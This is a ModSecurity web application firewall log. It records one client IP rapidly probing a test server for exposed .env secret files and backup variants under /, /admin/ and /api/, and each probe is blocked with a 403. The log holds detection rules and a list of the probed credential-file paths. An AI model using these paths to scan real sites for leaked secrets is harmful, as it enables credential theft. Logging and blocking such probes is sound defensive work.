[Thu Nov 27 18:08:36.173661 2025] [:error] [pid 362070] [client 3.75.214.235:55172] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.orig"] [unique_id "aSiFlH7GWRIORDaPTtG7HwAAAAs"]
[Thu Nov 27 18:08:36.243445 2025] [:error] [pid 364938] [client 3.75.214.235:55196] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.swp"] [unique_id "aSiFlFEFdTVEtgaNa5gxCAAAAAc"]
[Thu Nov 27 18:08:36.243617 2025] [:error] [pid 364938] [client 3.75.214.235:55196] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.swp"] [unique_id "aSiFlFEFdTVEtgaNa5gxCAAAAAc"]
[Thu Nov 27 18:08:36.243818 2025] [:error] [pid 364938] [client 3.75.214.235:55196] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.swp"] [unique_id "aSiFlFEFdTVEtgaNa5gxCAAAAAc"]
[Thu Nov 27 18:08:36.243998 2025] [:error] [pid 364938] [client 3.75.214.235:55196] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.swp"] [unique_id "aSiFlFEFdTVEtgaNa5gxCAAAAAc"]
[Thu Nov 27 18:08:36.316558 2025] [:error] [pid 353187] [client 3.75.214.235:55228] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.tmp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.tmp"] [unique_id "aSiFlHjjVMPW7zDRgsawZwAAAAM"]
[Thu Nov 27 18:08:36.316785 2025] [:error] [pid 353187] [client 3.75.214.235:55228] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.tmp"] [unique_id "aSiFlHjjVMPW7zDRgsawZwAAAAM"]
[Thu Nov 27 18:08:36.316958 2025] [:error] [pid 353187] [client 3.75.214.235:55228] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.tmp"] [unique_id "aSiFlHjjVMPW7zDRgsawZwAAAAM"]
[Thu Nov 27 18:08:36.385398 2025] [:error] [pid 354739] [client 3.75.214.235:55252] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "aSiFlO_UStX-GTeIAe_u-AAAAAY"]
[Thu Nov 27 18:08:36.385616 2025] [:error] [pid 354739] [client 3.75.214.235:55252] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "aSiFlO_UStX-GTeIAe_u-AAAAAY"]
[Thu Nov 27 18:08:36.385789 2025] [:error] [pid 354739] [client 3.75.214.235:55252] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "aSiFlO_UStX-GTeIAe_u-AAAAAY"]
[Thu Nov 27 18:08:36.457624 2025] [:error] [pid 362069] [client 3.75.214.235:55278] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aSiFlLt0j3LvN_HNhHWZDAAAAAo"]
[Thu Nov 27 18:08:36.457867 2025] [:error] [pid 362069] [client 3.75.214.235:55278] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aSiFlLt0j3LvN_HNhHWZDAAAAAo"]
[Thu Nov 27 18:08:36.458045 2025] [:error] [pid 362069] [client 3.75.214.235:55278] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aSiFlLt0j3LvN_HNhHWZDAAAAAo"]
[Thu Nov 27 18:08:36.533929 2025] [:error] [pid 364939] [client 3.75.214.235:55302] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.save"] [unique_id "aSiFlBr_ze0xmC_DyvfLZQAAAA0"]
[Thu Nov 27 18:08:36.534150 2025] [:error] [pid 364939] [client 3.75.214.235:55302] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.save"] [unique_id "aSiFlBr_ze0xmC_DyvfLZQAAAA0"]
[Thu Nov 27 18:08:36.534327 2025] [:error] [pid 364939] [client 3.75.214.235:55302] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.save"] [unique_id "aSiFlBr_ze0xmC_DyvfLZQAAAA0"]
[Thu Nov 27 18:08:36.606380 2025] [:error] [pid 353188] [client 3.75.214.235:55328] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.bak"] [unique_id "aSiFlD4fHjXDucK3GWvWvgAAAAQ"]
[Thu Nov 27 18:08:36.606593 2025] [:error] [pid 353188] [client 3.75.214.235:55328] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.bak"] [unique_id "aSiFlD4fHjXDucK3GWvWvgAAAAQ"]
[Thu Nov 27 18:08:36.606839 2025] [:error] [pid 353188] [client 3.75.214.235:55328] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.bak"] [unique_id "aSiFlD4fHjXDucK3GWvWvgAAAAQ"]
[Thu Nov 27 18:08:36.607029 2025] [:error] [pid 353188] [client 3.75.214.235:55328] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.bak"] [unique_id "aSiFlD4fHjXDucK3GWvWvgAAAAQ"]
[Thu Nov 27 18:08:36.682453 2025] [:error] [pid 353186] [client 3.75.214.235:55346] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.old"] [unique_id "aSiFlCOJA5NFmjDGU5hISgAAAAI"]
[Thu Nov 27 18:08:36.682722 2025] [:error] [pid 353186] [client 3.75.214.235:55346] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.old"] [unique_id "aSiFlCOJA5NFmjDGU5hISgAAAAI"]
[Thu Nov 27 18:08:36.683075 2025] [:error] [pid 353186] [client 3.75.214.235:55346] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.old"] [unique_id "aSiFlCOJA5NFmjDGU5hISgAAAAI"]
[Thu Nov 27 18:08:36.683284 2025] [:error] [pid 353186] [client 3.75.214.235:55346] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.old"] [unique_id "aSiFlCOJA5NFmjDGU5hISgAAAAI"]
[Thu Nov 27 18:08:36.751314 2025] [:error] [pid 353185] [client 3.75.214.235:55382] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aSiFlHTG8IrOxOxezX5ArgAAAAE"]
[Thu Nov 27 18:08:36.751548 2025] [:error] [pid 353185] [client 3.75.214.235:55382] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aSiFlHTG8IrOxOxezX5ArgAAAAE"]
[Thu Nov 27 18:08:36.751733 2025] [:error] [pid 353185] [client 3.75.214.235:55382] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aSiFlHTG8IrOxOxezX5ArgAAAAE"]
[Thu Nov 27 18:08:36.819750 2025] [:error] [pid 360200] [client 3.75.214.235:55410] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.save"] [unique_id "aSiFlAQeQhonID1lme2zFwAAAAk"]
[Thu Nov 27 18:08:36.819968 2025] [:error] [pid 360200] [client 3.75.214.235:55410] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.save"] [unique_id "aSiFlAQeQhonID1lme2zFwAAAAk"]
[Thu Nov 27 18:08:36.820152 2025] [:error] [pid 360200] [client 3.75.214.235:55410] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.save"] [unique_id "aSiFlAQeQhonID1lme2zFwAAAAk"]
[Thu Nov 27 18:08:36.890843 2025] [:error] [pid 362070] [client 3.75.214.235:55432] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.bak"] [unique_id "aSiFlH7GWRIORDaPTtG7IAAAAAs"]
[Thu Nov 27 18:08:36.891007 2025] [:error] [pid 362070] [client 3.75.214.235:55432] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.bak"] [unique_id "aSiFlH7GWRIORDaPTtG7IAAAAAs"]
[Thu Nov 27 18:08:36.891209 2025] [:error] [pid 362070] [client 3.75.214.235:55432] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.bak"] [unique_id "aSiFlH7GWRIORDaPTtG7IAAAAAs"]
[Thu Nov 27 18:08:36.891382 2025] [:error] [pid 362070] [client 3.75.214.235:55432] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.bak"] [unique_id "aSiFlH7GWRIORDaPTtG7IAAAAAs"]
[Thu Nov 27 18:08:36.962500 2025] [:error] [pid 364938] [client 3.75.214.235:55464] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.old"] [unique_id "aSiFlFEFdTVEtgaNa5gxCQAAAAc"]
